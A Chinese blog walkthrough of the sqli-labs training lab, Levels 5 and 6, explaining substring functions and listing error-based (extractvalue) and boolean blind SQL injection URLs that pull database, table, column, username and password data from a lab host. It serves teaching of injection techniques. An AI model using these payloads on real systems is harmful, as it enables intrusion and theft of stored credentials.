sqli-labs-master 盲注+第五关
一、基于布尔 SQL 盲注
1、构造逻辑判断
(1)sql注入截取字符串常用涵数
在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也称为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。本文中主要列举三个函数和该函数注入过程中的一些用例。
函数:mid() substr() left()
mid()函数为截取字符串一部分。mid(column_name,start,length)
column_name 必需,要提取字符的字段
start 必需,规定开始位置(起始为1)
length 可选,要返回的字符数,如果省略则返回剩余文本
eg:str="123456" mid(str,2,1) 结果为2
substr()
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度
left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
•基于时间的 SQL 盲注--延时注入
•基于报错的 SQL 盲注-构造 payload 让信息通过错误提示回显出来
第五关
报错注入:
爆数据库:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
爆表名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+
爆列名:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
爆数据:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
爆密码时密码不全,要用截取函数截取剩下的密码
and extractvalue(1,concat(0x23,substr((select password from users limit 0,1),32,1),0x23))
布尔注入:
判断数据库长度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())>0--+
http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length(database())=8--+ 数据库有八位
依次确定数据库名称组成:
http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr(database(),1,1)=83)--+ s
判断数据表的个数:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0--+
判断表的长度:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0--+
依次确定表明:http://10.10.32.165/sqli-labs-master/Less-5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79--+
确定列数:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0--+
确定烈的长度:and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1)) > 0--+
依次确定列名:and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)) > 79
依次确定数据:and ascii(substr((select username from users limit 0,1),1,1))>79
第六关:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
将第五关的单引号改为双引号
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!